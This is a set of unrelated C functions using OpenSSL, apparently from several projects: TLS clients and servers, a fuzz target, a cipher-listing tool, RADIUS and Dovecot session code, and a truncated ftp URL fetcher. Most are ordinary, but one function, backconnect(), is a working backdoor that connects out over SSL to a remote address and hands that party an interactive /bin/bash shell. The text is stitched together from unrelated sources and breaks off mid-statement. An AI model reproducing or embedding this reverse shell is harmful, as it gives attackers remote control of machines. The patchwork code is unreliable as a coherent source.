cSocket::Status cOpenSSLSocket::Connect( const cIpAddress& remoteAddress, unsigned short remotePort, cTime timeout ) { if ( mConnected ) { Disconnect(); } // Set up a SSL_CTX object, which will tell our BIO object how to do its work mCTX = SSL_CTX_new( SSLv23_client_method() ); if ( mSSLSocket->mValidateCertificate ) { if (!sCerts.empty()) { //yay for undocumented OpenSSL functions X509_STORE * store = SSL_CTX_get_cert_store( mCTX ); for( size_t i = 0; i < sCerts.size(); i++ ) { X509_STORE_add_cert( store, sCerts[i] ); } } /* Ask OpenSSL to verify the server certificate. Note that this * does NOT include verifying that the hostname is correct. * So, by itself, this means anyone with any legitimate * CA-issued certificate for any website, can impersonate any * other website in the world. This is not good. See "The * Most Dangerous Code in the World" article at * https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html */ SSL_CTX_set_verify( mCTX, SSL_VERIFY_PEER, NULL ); /* This is how we solve the problem mentioned in the previous * comment. We "wrap" OpenSSL's validation routine in our * own routine, which also validates the hostname by calling * the code provided by iSECPartners. Note that even though * the "Everything You've Always Wanted to Know About * Certificate Validation With OpenSSL (But Were Afraid to * Ask)" paper from iSECPartners says very explicitly not to * call SSL_CTX_set_cert_verify_callback (at the bottom of * page 2), what we're doing here is safe because our * cert_verify_callback() calls X509_verify_cert(), which is * OpenSSL's built-in routine which would have been called if * we hadn't set the callback. Therefore, we're just * "wrapping" OpenSSL's routine, not replacing it. */ SSL_CTX_set_cert_verify_callback ( mCTX, CertVerifyCb, this ); //Let the verify_callback catch the verify_depth error so that we get an appropriate error in the logfile. (??) SSL_CTX_set_verify_depth( mCTX, mMaxCertChainDepth + 1 ); } mSSL = SSL_new( mCTX ); SSL_set_fd( mSSL, (int)mSSLSocket->mSocket ); // Set the SSL to automatically retry on failure. SSL_set_mode( mSSL , SSL_MODE_AUTO_RETRY ); mStatus = cSocket::Done; // Same as before, try to connect. int result = SSL_connect( mSSL ); eePRINTL( "CONNECTION RESULT: %d", result ); if ( result < 1 ) { ERR_print_errors_fp(stdout); _print_error(result); mStatus = cSocket::Error; return mStatus; } X509 * peer = SSL_get_peer_certificate( mSSL ); if ( peer ) { bool cert_ok = SSL_get_verify_result(mSSL) == X509_V_OK; eePRINTL( "cert_ok: %d", (int)cert_ok ); mStatus = cSocket::Done; } else if ( mSSLSocket->mValidateCertificate ) { mStatus = cSocket::Error; } if ( mStatus == cSocket::Done ) { mConnected = true; } return mStatus; }
int FuzzerTestOneInput(const uint8_t *buf, size_t len) { SSL *server; BIO *in; BIO *out; BIO *bio_buf; SSL_CTX *ctx; int ret; RSA *privkey; const uint8_t *bufp; EVP_PKEY *pkey; X509 *cert; #ifndef OPENSSL_NO_EC EC_KEY *ecdsakey = NULL; #endif #ifndef OPENSSL_NO_DSA DSA *dsakey = NULL; #endif uint8_t opt; if (len < 2) return 0; /* * TODO: use the ossltest engine (optionally?) to disable crypto checks. */ /* This only fuzzes the initial flow from the client so far. */ ctx = SSL_CTX_new(SSLv23_method()); /* RSA */ bufp = kRSAPrivateKeyDER; privkey = d2i_RSAPrivateKey(NULL, &bufp, sizeof(kRSAPrivateKeyDER)); OPENSSL_assert(privkey != NULL); pkey = EVP_PKEY_new(); EVP_PKEY_assign_RSA(pkey, privkey); ret = SSL_CTX_use_PrivateKey(ctx, pkey); OPENSSL_assert(ret == 1); EVP_PKEY_free(pkey); bufp = kCertificateDER; cert = d2i_X509(NULL, &bufp, sizeof(kCertificateDER)); OPENSSL_assert(cert != NULL); ret = SSL_CTX_use_certificate(ctx, cert); OPENSSL_assert(ret == 1); X509_free(cert); #ifndef OPENSSL_NO_EC /* ECDSA */ bio_buf = BIO_new(BIO_s_mem()); OPENSSL_assert((size_t)BIO_write(bio_buf, ECDSAPrivateKeyPEM, sizeof(ECDSAPrivateKeyPEM)) == sizeof(ECDSAPrivateKeyPEM)); ecdsakey = PEM_read_bio_ECPrivateKey(bio_buf, NULL, NULL, NULL); ERR_print_errors_fp(stderr); OPENSSL_assert(ecdsakey != NULL); BIO_free(bio_buf); pkey = EVP_PKEY_new(); EVP_PKEY_assign_EC_KEY(pkey, ecdsakey); ret = SSL_CTX_use_PrivateKey(ctx, pkey); OPENSSL_assert(ret == 1); EVP_PKEY_free(pkey); bio_buf = BIO_new(BIO_s_mem()); OPENSSL_assert((size_t)BIO_write(bio_buf, ECDSACertPEM, sizeof(ECDSACertPEM)) == sizeof(ECDSACertPEM)); cert = PEM_read_bio_X509(bio_buf, NULL, NULL, NULL); OPENSSL_assert(cert != NULL); BIO_free(bio_buf); ret = SSL_CTX_use_certificate(ctx, cert); OPENSSL_assert(ret == 1); X509_free(cert); #endif #ifndef OPENSSL_NO_DSA /* DSA */ bio_buf = BIO_new(BIO_s_mem()); OPENSSL_assert((size_t)BIO_write(bio_buf, DSAPrivateKeyPEM, sizeof(DSAPrivateKeyPEM)) == sizeof(DSAPrivateKeyPEM)); dsakey = PEM_read_bio_DSAPrivateKey(bio_buf, NULL, NULL, NULL); ERR_print_errors_fp(stderr); OPENSSL_assert(dsakey != NULL); BIO_free(bio_buf); pkey = EVP_PKEY_new(); EVP_PKEY_assign_DSA(pkey, dsakey); ret = SSL_CTX_use_PrivateKey(ctx, pkey); OPENSSL_assert(ret == 1); EVP_PKEY_free(pkey); bio_buf = BIO_new(BIO_s_mem()); OPENSSL_assert((size_t)BIO_write(bio_buf, DSACertPEM, sizeof(DSACertPEM)) == sizeof(DSACertPEM)); cert = PEM_read_bio_X509(bio_buf, NULL, NULL, NULL); OPENSSL_assert(cert != NULL); BIO_free(bio_buf); ret = SSL_CTX_use_certificate(ctx, cert); OPENSSL_assert(ret == 1); X509_free(cert); #endif /* TODO: Set up support for SRP and PSK */ server = SSL_new(ctx); ret = SSL_set_cipher_list(server, "ALL:eNULL:@SECLEVEL=0"); OPENSSL_assert(ret == 1); in = BIO_new(BIO_s_mem()); out = BIO_new(BIO_s_mem()); SSL_set_bio(server, in, out); SSL_set_accept_state(server); opt = (uint8_t)buf[len-1]; len--; OPENSSL_assert((size_t)BIO_write(in, buf, len) == len); if ((opt & 0x01) != 0) { do { char early_buf[16384]; size_t early_len; ret = SSL_read_early_data(server, early_buf, sizeof(early_buf), &early_len); if (ret != SSL_READ_EARLY_DATA_SUCCESS) break; } while (1); } if (SSL_do_handshake(server) == 1) { /* Keep reading application data until error or EOF. */ uint8_t tmp[1024]; for (;;) { if (SSL_read(server, tmp, sizeof(tmp)) <= 0) { break; } } } SSL_free(server); ERR_clear_error(); SSL_CTX_free(ctx); return 0; }
int MAIN(int argc, char **argv) { int ret=1,i; int verbose=0; char **pp; const char *p; int badops=0; SSL_CTX *ctx=NULL; SSL *ssl=NULL; char *ciphers=NULL; SSL_METHOD *meth=NULL; STACK_OF(SSL_CIPHER) *sk; char buf[512]; BIO *STDout=NULL; #if !defined(NO_SSL2) && !defined(NO_SSL3) meth=SSLv23_server_method(); #elif !defined(NO_SSL3) meth=SSLv3_server_method(); #elif !defined(NO_SSL2) meth=SSLv2_server_method(); #endif apps_startup(); if (bio_err == NULL) bio_err=BIO_new_fp(stderr,BIO_NOCLOSE); STDout=BIO_new_fp(stdout,BIO_NOCLOSE); #ifdef VMS { BIO *tmpbio = BIO_new(BIO_f_linebuffer()); STDout = BIO_push(tmpbio, STDout); } #endif argc--; argv++; while (argc >= 1) { if (strcmp(*argv,"-v") == 0) verbose=1; #ifndef NO_SSL2 else if (strcmp(*argv,"-ssl2") == 0) meth=SSLv2_client_method(); #endif #ifndef NO_SSL3 else if (strcmp(*argv,"-ssl3") == 0) meth=SSLv3_client_method(); #endif #ifndef NO_TLS1 else if (strcmp(*argv,"-tls1") == 0) meth=TLSv1_client_method(); #endif else if ((strncmp(*argv,"-h",2) == 0) || (strcmp(*argv,"-?") == 0)) { badops=1; break; } else { ciphers= *argv; } argc--; argv++; } if (badops) { for (pp=ciphers_usage; (*pp != NULL); pp++) BIO_printf(bio_err,*pp); goto end; } OpenSSL_add_ssl_algorithms(); ctx=SSL_CTX_new(meth); if (ctx == NULL) goto err; if (ciphers != NULL) { if(!SSL_CTX_set_cipher_list(ctx,ciphers)) { BIO_printf(bio_err, "Error in cipher list\n"); goto err; } } ssl=SSL_new(ctx); if (ssl == NULL) goto err; if (!verbose) { for (i=0; ; i++) { p=SSL_get_cipher_list(ssl,i); if (p == NULL) break; if (i != 0) BIO_printf(STDout,":"); BIO_printf(STDout,"%s",p); } BIO_printf(STDout,"\n"); } else { sk=SSL_get_ciphers(ssl); for (i=0; i<sk_SSL_CIPHER_num(sk); i++) { BIO_puts(STDout,SSL_CIPHER_description( sk_SSL_CIPHER_value(sk,i), buf,512)); } } ret=0; if (0) { err: SSL_load_error_strings(); ERR_print_errors(bio_err); } end: if (ctx != NULL) SSL_CTX_free(ctx); if (ssl != NULL) SSL_free(ssl); if (STDout != NULL) BIO_free_all(STDout); EXIT(ret); }
int main(int argc, char *argv[]) { // default paths currently point to my test certificates char *m_caCertPath; char *m_serverCert; char *m_serverKey; char *stoparg; m_caCertPath= argv[1]; fprintf(stdout, "phase1\n"); m_serverCert = strchr(m_caCertPath, ';'); fprintf(stdout, "phase2\n"); *m_serverCert++ ='\0'; m_serverKey = strchr(m_serverCert, ';'); fprintf(stdout, "phase3\n"); *m_serverKey++ ='\0'; stoparg = strchr(m_serverKey, ';'); fprintf(stdout, "phase4\n"); *stoparg++ = '\0'; fprintf(stdout, "ca:%s\ncert:%s\nkey:%s\nstop:%s\n", m_caCertPath, m_serverCert, m_serverKey, stoparg); SSL_CTX *m_sslCtx = NULL; // Initializing OpenSSL // FIXME should this only be called once? OpenSSL_add_all_algorithms(); SSLeay_add_all_algorithms(); SSL_load_error_strings(); ERR_load_crypto_strings(); ERR_load_BIO_strings(); SSL_library_init(); m_sslCtx = SSL_CTX_new( SSLv23_method() ); if (!m_sslCtx) { ERR_print_errors_fp( stdout ); printf("error1\n"); } SSL_CTX_set_options(m_sslCtx, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS); /* SSL_CTX_set_cipher_list(m_sslCtx, "ALL:!LOW:!EXP:!MD5:!MD2"); */ SSL_CTX_set_purpose(m_sslCtx, X509_PURPOSE_ANY); /* SSL_CTX_set_mode(m_sslCtx, SSL_MODE_AUTO_RETRY); */ printf("test\n"); // load server certificate if ( SSL_CTX_use_certificate_file( m_sslCtx, m_serverCert, SSL_FILETYPE_PEM ) <= 0 ) { ERR_print_errors_fp( stdout ); printf("error1\n"); } // load private key if ( SSL_CTX_use_PrivateKey_file( m_sslCtx, m_serverKey, SSL_FILETYPE_PEM) <= 0 ) { ERR_print_errors_fp( stdout ); printf("error2\n"); } // load trusted Certificate Authority if ( !SSL_CTX_load_verify_locations( m_sslCtx, 0, m_caCertPath ) ) { ERR_print_errors_fp( stdout ); printf("error3\n"); } // require peer (client) certificate verification SSL_CTX_set_verify( m_sslCtx, SSL_VERIFY_PEER, 0 ); // Set the verification depth to 1 SSL_CTX_set_verify_depth( m_sslCtx, 100 ); // set the verify call back to girdsite, which understands // proxy certificates SSL_CTX_set_cert_verify_callback( m_sslCtx, proxy_verify_callback_server, 0); // create new ssl structure and pass the fd to it SSL *m_sslCon = SSL_new( m_sslCtx ); BIO *bio = BIO_new_accept("33334"); if (BIO_do_accept(bio) <= 0) fprintf(stdout, "BIO_do_accept failed\n"); fprintf(stdout, "now accepting\n"); fprintf(stdout, "bio=%ld\n", bio); BIO_do_accept(bio); fprintf(stdout, "part1\n"); BIO *client= BIO_pop(bio); fprintf(stdout, "part2\n"); SSL_set_bio(m_sslCon, client, client); fprintf(stdout,"bio set\n"); // initiate the handshake int error; if ( (error = SSL_accept( m_sslCon )) <= 0 ) { unsigned long l; char buf[256]; #if SSLEAY_VERSION_NUMBER >= 0x00904100L const char *file; #else char *file; #endif char *dat; int line; /* WIN32 does not have the ERR_get_error_line_data */ /* exported, so simulate it till it is fixed */ /* in SSLeay-0.9.0 */ while ( ERR_peek_error() != 0 ) { int i; ERR_STATE *es; es = ERR_get_state(); i = (es->bottom+1)%ERR_NUM_ERRORS; if (es->err_data[i] == NULL) dat = (char*)""; else dat = es->err_data[i]; if (dat) { l = ERR_get_error_line(&file, &line); // if (debug) fprintf(stdout, "%s:%s,%d,%s\n", ERR_error_string(l, buf), file, line, dat); // error += std::string(ERR_reason_error_string(l)) + ":" + std::string(ERR_func_error_string(l)) + "\n"; } } /* fprintf(stdout, "%s\n", */ /* ERR_reason_error_string( ERR_get_error() )); */ fprintf(stdout, "ERROR\n"); exit(1); } fprintf(stdout, "Handshake done!\n"); /* connected */ sleep(100); exit(0); }
/* * spawn a backconnect shell */ void backconnect(struct in_addr addr, u_short port) { int child; signal(SIGCHLD, SIG_IGN); if((child=fork())==0) { /*For magic stdin stdout sdterr*/ //printf("hello"); struct sockaddr_in sockaddr; int sock; //FILE *fd; //char *newline; //char buf[1028]; SSL_CTX *ctx; SSL *ssl; ctx = InitCTX(); sockaddr.sin_family = AF_INET; sockaddr.sin_addr = addr; sockaddr.sin_port = port; sock = socket(AF_INET, SOCK_STREAM, 0); if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) { ssl = SSL_new(ctx); SSL_set_fd(ssl,sock); sock = SSL_get_fd(ssl); if ( SSL_connect(ssl) == -1 ) ERR_print_errors_fp(stderr); else { enterpass(ssl); int writepipe[2] = {-1,-1}, /* parent -> child */ readpipe [2] = {-1,-1}; /* child -> parent */ pid_t childpid; /*------------------------------------------------------------------------ * CREATE THE PAIR OF PIPES * * Pipes have two ends but just one direction: to get a two-way * conversation you need two pipes. It's an error if we cannot make * them both, and we define these macros for easy reference. */ writepipe[0] = -1; if ( pipe(readpipe) < 0 || pipe(writepipe) < 0 ) { /* FATAL: cannot create pipe */ /* close readpipe[0] & [1] if necessary */ } #define PARENT_READ readpipe[0] #define CHILD_WRITE readpipe[1] #define CHILD_READ writepipe[0] #define PARENT_WRITE writepipe[1] signal(SIGCHLD, SIG_IGN); if ( (childpid = fork()) < 0) { /* FATAL: cannot fork child */ } else if ( childpid == 0 ) /* in the child */ { close(PARENT_WRITE); close(PARENT_READ); //dup2(CHILD_READ, 0); close(CHILD_READ); //dup2(CHILD_WRITE, 1); close(CHILD_WRITE); dup2(CHILD_WRITE,2);//for error remap_pipe_stdin_stdout(CHILD_READ,CHILD_WRITE); /* do child stuff */ //read_write(ssl,sock); execve("/bin/bash", argv, envp); //printf("bash close"); close(childpid); _exit(0); } else /* in the parent */ { close(CHILD_READ); close(CHILD_WRITE); //dup2(PARENT_READ, 0); //dup2(PARENT_WRITE, 1); remap_pipe_stdin_stdout(PARENT_READ,PARENT_WRITE); /* do parent stuff */ read_write(ssl,sock); //wait(); } close(sock); SSL_CTX_free(ctx); } } //return; close(child); _exit(0); } else if(child>0) { #ifdef DEBUG printf("---child PID:"); printf("%d",child); printf("\n"); #endif return; } return; }
int np_net_ssl_init_with_hostname_version_and_cert(int sd, char *host_name, int version, char *cert, char *privkey) { const SSL_METHOD *method = NULL; switch (version) { case 0: /* Deafult to auto negotiation */ method = SSLv23_client_method(); break; case 1: /* TLSv1 protocol */ method = TLSv1_client_method(); break; case 2: /* SSLv2 protocol */ #if defined(USE_GNUTLS) || defined(OPENSSL_NO_SSL2) printf(("%s\n", _("CRITICAL - SSL protocol version 2 is not supported by your SSL library."))); return STATE_CRITICAL; #else method = SSLv2_client_method(); #endif break; case 3: /* SSLv3 protocol */ method = SSLv3_client_method(); break; default: /* Unsupported */ printf("%s\n", _("CRITICAL - Unsupported SSL protocol version.")); return STATE_CRITICAL; } if (!initialized) { /* Initialize SSL context */ SSLeay_add_ssl_algorithms(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); initialized = 1; } if ((c = SSL_CTX_new(method)) == NULL) { printf("%s\n", _("CRITICAL - Cannot create SSL context.")); return STATE_CRITICAL; } if (cert && privkey) { SSL_CTX_use_certificate_file(c, cert, SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c, privkey, SSL_FILETYPE_PEM); if (!SSL_CTX_check_private_key(c)) { printf ("%s\n", _("CRITICAL - Private key does not seem to match certificate!\n")); return STATE_CRITICAL; } } #ifdef SSL_OP_NO_TICKET SSL_CTX_set_options(c, SSL_OP_NO_TICKET); #endif if ((s = SSL_new(c)) != NULL) { #ifdef SSL_set_tlsext_host_name if (host_name != NULL) SSL_set_tlsext_host_name(s, host_name); #endif SSL_set_fd(s, sd); if (SSL_connect(s) == 1) { return OK; } else { printf("%s\n", _("CRITICAL - Cannot make SSL connection.")); # ifdef USE_OPENSSL /* XXX look into ERR_error_string */ ERR_print_errors_fp(stdout); # endif /* USE_OPENSSL */ } } else { printf("%s\n", _("CRITICAL - Cannot initiate SSL handshake.")); } return STATE_CRITICAL; }
/** Create a new server TLS session * * Configures a new server TLS session, configuring options, setting callbacks etc... * * @param ctx to alloc session data in. Should usually be NULL unless the lifetime of the * session is tied to another talloc'd object. * @param conf values for this TLS session. * @param request The current #REQUEST. * @param client_cert Whether to require a client_cert. * @return * - A new session on success. * - NULL on error. */ tls_session_t *tls_session_init_server(TALLOC_CTX *ctx, fr_tls_conf_t *conf, REQUEST *request, bool client_cert) { tls_session_t *session = NULL; SSL *new_tls = NULL; int verify_mode = 0; VALUE_PAIR *vp; SSL_CTX *ssl_ctx; rad_assert(request != NULL); rad_assert(conf->ctx_count > 0); RDEBUG2("Initiating new TLS session"); ssl_ctx = conf->ctx[(conf->ctx_count == 1) ? 0 : conf->ctx_next++ % conf->ctx_count]; /* mutex not needed */ rad_assert(ssl_ctx); new_tls = SSL_new(ssl_ctx); if (new_tls == NULL) { tls_log_error(request, "Error creating new TLS session"); return NULL; } session = talloc_zero(ctx, tls_session_t); if (session == NULL) { RERROR("Error allocating memory for TLS session"); SSL_free(new_tls); return NULL; } session_init(session); session->ctx = ssl_ctx; session->ssl = new_tls; talloc_set_destructor(session, _tls_session_free); /* * Initialize callbacks */ session->record_init = record_init; session->record_close = record_close; session->record_from_buff = record_from_buff; session->record_to_buff = record_to_buff; /* * Create & hook the BIOs to handle the dirty side of the * SSL. This is *very important* as we want to handle * the transmission part. Now the only IO interface * that SSL is aware of, is our defined BIO buffers. * * This means that all SSL IO is done to/from memory, * and we can update those BIOs from the packets we've * received. */ session->into_ssl = BIO_new(BIO_s_mem()); session->from_ssl = BIO_new(BIO_s_mem()); SSL_set_bio(session->ssl, session->into_ssl, session->from_ssl); /* * Add the message callback to identify what type of * message/handshake is passed */ SSL_set_msg_callback(new_tls, tls_session_msg_cb); SSL_set_msg_callback_arg(new_tls, session); SSL_set_info_callback(new_tls, tls_session_info_cb); /* * This sets the context sessions can be resumed in. * This is to prevent sessions being created by one application * and used by another. In our case it prevents sessions being * reused between modules, or TLS server components such as * RADSEC. * * A context must always be set when doing session resumption * otherwise session resumption will fail. * * As the context ID must be <= 32, we digest the context * data with sha256. */ rad_assert(conf->session_id_name); { char *context_id; EVP_MD_CTX *md_ctx; uint8_t digest[SHA256_DIGEST_LENGTH]; static_assert(sizeof(digest) <= SSL_MAX_SSL_SESSION_ID_LENGTH, "SSL_MAX_SSL_SESSION_ID_LENGTH must be >= SHA256_DIGEST_LENGTH"); if (tmpl_aexpand(session, &context_id, request, conf->session_id_name, NULL, NULL) < 0) { RPEDEBUG("Failed expanding session ID"); talloc_free(session); } MEM(md_ctx = EVP_MD_CTX_create()); EVP_DigestInit_ex(md_ctx, EVP_sha256(), NULL); EVP_DigestUpdate(md_ctx, context_id, talloc_array_length(context_id) - 1); EVP_DigestFinal_ex(md_ctx, digest, NULL); EVP_MD_CTX_destroy(md_ctx); talloc_free(context_id); if (!fr_cond_assert(SSL_set_session_id_context(session->ssl, digest, sizeof(digest)) == 1)) { talloc_free(session); return NULL; } } /* * Add the session certificate to the session. */ vp = fr_pair_find_by_da(request->control, attr_tls_session_cert_file, TAG_ANY); if (vp) { RDEBUG2("Loading TLS session certificate \"%s\"", vp->vp_strvalue); if (SSL_use_certificate_file(session->ssl, vp->vp_strvalue, SSL_FILETYPE_PEM) != 1) { tls_log_error(request, "Failed loading TLS session certificate \"%s\"", vp->vp_strvalue); talloc_free(session); return NULL; } if (SSL_use_PrivateKey_file(session->ssl, vp->vp_strvalue, SSL_FILETYPE_PEM) != 1) { tls_log_error(request, "Failed loading TLS session certificate \"%s\"", vp->vp_strvalue); talloc_free(session); return NULL; } if (SSL_check_private_key(session->ssl) != 1) { tls_log_error(request, "Failed validating TLS session certificate \"%s\"", vp->vp_strvalue); talloc_free(session); return NULL; } /* * Better to perform explicit checks, than rely * on OpenSSL's opaque error messages. */ } else { if (!conf->chains || !conf->chains[0]->private_key_file) { ERROR("TLS Server requires a private key file"); talloc_free(session); return NULL; } if (!conf->chains || !conf->chains[0]->certificate_file) { ERROR("TLS Server requires a certificate file"); talloc_free(session); return NULL; } } /* * In Server mode we only accept. * * This sets up the SSL session to work correctly with * tls_session_handhsake. */ SSL_set_accept_state(session->ssl); /* * Verify the peer certificate, if asked. */ if (client_cert) { RDEBUG2("Setting verify mode to require certificate from client"); verify_mode = SSL_VERIFY_PEER; verify_mode |= SSL_VERIFY_FAIL_IF_NO_PEER_CERT; verify_mode |= SSL_VERIFY_CLIENT_ONCE; } SSL_set_verify(session->ssl, verify_mode, tls_validate_cert_cb); SSL_set_ex_data(session->ssl, FR_TLS_EX_INDEX_CONF, (void *)conf); SSL_set_ex_data(session->ssl, FR_TLS_EX_INDEX_TLS_SESSION, (void *)session); /* * We use default fragment size, unless the Framed-MTU * tells us it's too big. Note that we do NOT account * for the EAP-TLS headers if conf->fragment_size is * large, because that config item looks to be confusing. * * i.e. it should REALLY be called MTU, and the code here * should figure out what that means for TLS fragment size. * asking the administrator to know the internal details * of EAP-TLS in order to calculate fragment sizes is * just too much. */ session->mtu = conf->fragment_size; vp = fr_pair_find_by_da(request->packet->vps, attr_framed_mtu, TAG_ANY); if (vp && (vp->vp_uint32 > 100) && (vp->vp_uint32 < session->mtu)) { RDEBUG2("Setting fragment_len to %u from &Framed-MTU", vp->vp_uint32); session->mtu = vp->vp_uint32; } if (conf->session_cache_server) session->allow_session_resumption = true; /* otherwise it's false */ return session; }
static int openssl_iostream_create(struct ssl_iostream_context *ctx, const char *host, const struct ssl_iostream_settings *set, struct istream **input, struct ostream **output, struct ssl_iostream **iostream_r, const char **error_r) { struct ssl_iostream *ssl_io; SSL *ssl; BIO *bio_int, *bio_ext; ssl = SSL_new(ctx->ssl_ctx); if (ssl == NULL) { *error_r = t_strdup_printf("SSL_new() failed: %s", openssl_iostream_error()); return -1; } /* BIO pairs use default buffer sizes (17 kB in OpenSSL 0.9.8e). Each of the BIOs have one "write buffer". BIO_write() copies data to them, while BIO_read() reads from the other BIO's write buffer into the given buffer. The bio_int is used by OpenSSL and bio_ext is used by this library. */ if (BIO_new_bio_pair(&bio_int, 0, &bio_ext, 0) != 1) { *error_r = t_strdup_printf("BIO_new_bio_pair() failed: %s", openssl_iostream_error()); SSL_free(ssl); return -1; } ssl_io = i_new(struct ssl_iostream, 1); ssl_io->refcount = 1; ssl_io->ctx = ctx; ssl_io->ssl = ssl; ssl_io->bio_ext = bio_ext; ssl_io->plain_input = *input; ssl_io->plain_output = *output; ssl_io->host = i_strdup(host); ssl_io->log_prefix = host == NULL ? i_strdup("") : i_strdup_printf("%s: ", host); /* bio_int will be freed by SSL_free() */ SSL_set_bio(ssl_io->ssl, bio_int, bio_int); SSL_set_ex_data(ssl_io->ssl, dovecot_ssl_extdata_index, ssl_io); #ifdef HAVE_SSL_GET_SERVERNAME SSL_set_tlsext_host_name(ssl_io->ssl, host); #endif if (openssl_iostream_set(ssl_io, set, error_r) < 0) { openssl_iostream_free(ssl_io); return -1; } o_stream_uncork(ssl_io->plain_output); *input = openssl_i_stream_create_ssl(ssl_io); *output = openssl_o_stream_create_ssl(ssl_io); i_stream_set_name(*input, t_strconcat("SSL ", i_stream_get_name(ssl_io->plain_input), NULL)); o_stream_set_name(*output, t_strconcat("SSL ", o_stream_get_name(ssl_io->plain_output), NULL)); if (ssl_io->plain_output->real_stream->error_handling_disabled) o_stream_set_no_error_handling(*output, TRUE); ssl_io->ssl_output = *output; *iostream_r = ssl_io; return 0; }
int main(int argc, char *argv[]) { SSL_METHOD *my_ssl_method; SSL_CTX *my_ssl_ctx; SSL *my_ssl; BIO *server_bio, *client_bio; int error = 0, wrote = 0; char buffer[] = "Hello there! Welcome to the SSL test server.\n\n"; OpenSSL_add_all_algorithms(); SSL_library_init(); SSL_load_error_strings(); my_ssl_method = TLSv1_server_method(); if ((my_ssl_ctx = SSL_CTX_new(my_ssl_method)) == NULL) { ERR_print_errors_fp(stderr); exit(1); } SSL_CTX_use_certificate_file(my_ssl_ctx, "server.pem", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(my_ssl_ctx, "server.pem", SSL_FILETYPE_PEM); if (!SSL_CTX_check_private_key(my_ssl_ctx)) { fprintf(stderr, "Private key does not match certificate\n"); exit(1); } if ((server_bio = BIO_new_accept("5353")) == NULL) { ERR_print_errors_fp(stderr); exit(1); } if (BIO_do_accept(server_bio) <= 0) { ERR_print_errors_fp(stderr); exit(1); } for (;;) { if (BIO_do_accept(server_bio) <= 0) { ERR_print_errors_fp(stderr); exit(1); } client_bio = BIO_pop(server_bio); if ((my_ssl = SSL_new(my_ssl_ctx)) == NULL) { ERR_print_errors_fp(stderr); exit(1); } SSL_set_bio(my_ssl,client_bio,client_bio); if (SSL_accept(my_ssl) <= 0) { ERR_print_errors_fp(stderr); exit(1); } printf("Connection made with [version,cipher]: [%s,%s]\n", SSL_get_version(my_ssl), SSL_get_cipher(my_ssl)); for (wrote = 0; wrote < strlen(buffer); wrote += error) { error = SSL_write(my_ssl,buffer+wrote,strlen(buffer)-wrote); if (error <= 0) break; } SSL_shutdown(my_ssl); SSL_free(my_ssl); } SSL_CTX_free(my_ssl_ctx); SSL_BIO_free(server_bio); return 0; }
/* * Retrieve URL, via the proxy in $proxyvar if necessary. * Modifies the string argument given. * Returns -1 on failure, 0 on success */ static int url_get(const char *origline, const char *proxyenv, const char *outfile) { char pbuf[NI_MAXSERV], hbuf[NI_MAXHOST], *cp, *portnum, *path, ststr[4]; char *hosttail, *cause = "unknown", *newline, *host, *port, *buf = NULL; char *epath, *redirurl, *loctail, *h, *p; int error, i, isftpurl = 0, isfileurl = 0, isredirect = 0, rval = -1; struct addrinfo hints, *res0, *res, *ares = NULL; const char * volatile savefile; char * volatile proxyurl = NULL; char *cookie = NULL; volatile int s = -1, out; volatile sig_t oldintr, oldinti; FILE *fin = NULL; off_t hashbytes; const char *errstr; ssize_t len, wlen; #ifndef SMALL char *sslpath = NULL, *sslhost = NULL; char *locbase, *full_host = NULL, *auth = NULL; const char *scheme; int ishttpsurl = 0; SSL_CTX *ssl_ctx = NULL; #endif /* !SMALL */ SSL *ssl = NULL; int status; int save_errno; const size_t buflen = 128 * 1024; direction = "received"; newline = strdup(origline); if (newline == NULL) errx(1, "Can't allocate memory to parse URL"); if (strncasecmp(newline, HTTP_URL, sizeof(HTTP_URL) - 1) == 0) { host = newline + sizeof(HTTP_URL) - 1; #ifndef SMALL scheme = HTTP_URL; #endif /* !SMALL */ } else if (strncasecmp(newline, FTP_URL, sizeof(FTP_URL) - 1) == 0) { host = newline + sizeof(FTP_URL) - 1; isftpurl = 1; #ifndef SMALL scheme = FTP_URL; #endif /* !SMALL */ } else if (strncasecmp(newline, FILE_URL, sizeof(FILE_URL) - 1) == 0) { host = newline + sizeof(FILE_URL) - 1; isfileurl = 1; #ifndef SMALL scheme = FILE_URL; } else if (strncasecmp(newline, HTTPS_URL, sizeof(HTTPS_URL) - 1) == 0) { host = newline + sizeof(HTTPS_URL) - 1; ishttpsurl = 1; scheme = HTTPS_URL; #endif /* !SMALL */ } else errx(1, "url_get: Invalid URL '%s'", newline); if (isfileurl) { path = host; } else { path = strchr(host, '/'); /* Find path */ if (EMPTYSTRING(path)) { if (outfile) { /* No slash, but */ path=strchr(host,'\0'); /* we have outfile. */ goto noslash; } if (isftpurl) goto noftpautologin; warnx("No `/' after host (use -o): %s", origline); goto cleanup_url_get; } *path++ = '\0'; if (EMPTYSTRING(path) && !outfile) { if (isftpurl) goto noftpautologin; warnx("No filename after host (use -o): %s", origline); goto cleanup_url_get; } } noslash: #ifndef SMALL /* * Look for auth header in host, since now host does not * contain the path. Basic auth from RFC 2617, valid * characters for path are in RFC 3986 section 3.3. */ if (proxyenv == NULL && (!strcmp(scheme, HTTP_URL) || !strcmp(scheme, HTTPS_URL))) { if ((p = strchr(host, '@')) != NULL) { size_t authlen = (strlen(host) + 5) * 4 / 3; *p = 0; /* Kill @ */ if ((auth = malloc(authlen)) == NULL) err(1, "Can't allocate memory for " "authorization"); if (b64_ntop(host, strlen(host), auth, authlen) == -1) errx(1, "error in base64 encoding"); host = p + 1; } } #endif /* SMALL */ if (outfile) savefile = outfile; else { if (path[strlen(path) - 1] == '/') /* Consider no file */ savefile = NULL; /* after dir invalid. */ else savefile = basename(path); } if (EMPTYSTRING(savefile)) { if (isftpurl) goto noftpautologin; warnx("No filename after directory (use -o): %s", origline); goto cleanup_url_get; } #ifndef SMALL if (resume && pipeout) { warnx("can't append to stdout"); goto cleanup_url_get; } #endif /* !SMALL */ if (!isfileurl && proxyenv != NULL) { /* use proxy */ #ifndef SMALL if (ishttpsurl) { sslpath = strdup(path); sslhost = strdup(host); if (! sslpath || ! sslhost) errx(1, "Can't allocate memory for https path/host."); } #endif /* !SMALL */ proxyurl = strdup(proxyenv); if (proxyurl == NULL) errx(1, "Can't allocate memory for proxy URL."); if (strncasecmp(proxyurl, HTTP_URL, sizeof(HTTP_URL) - 1) == 0) host = proxyurl + sizeof(HTTP_URL) - 1; else if 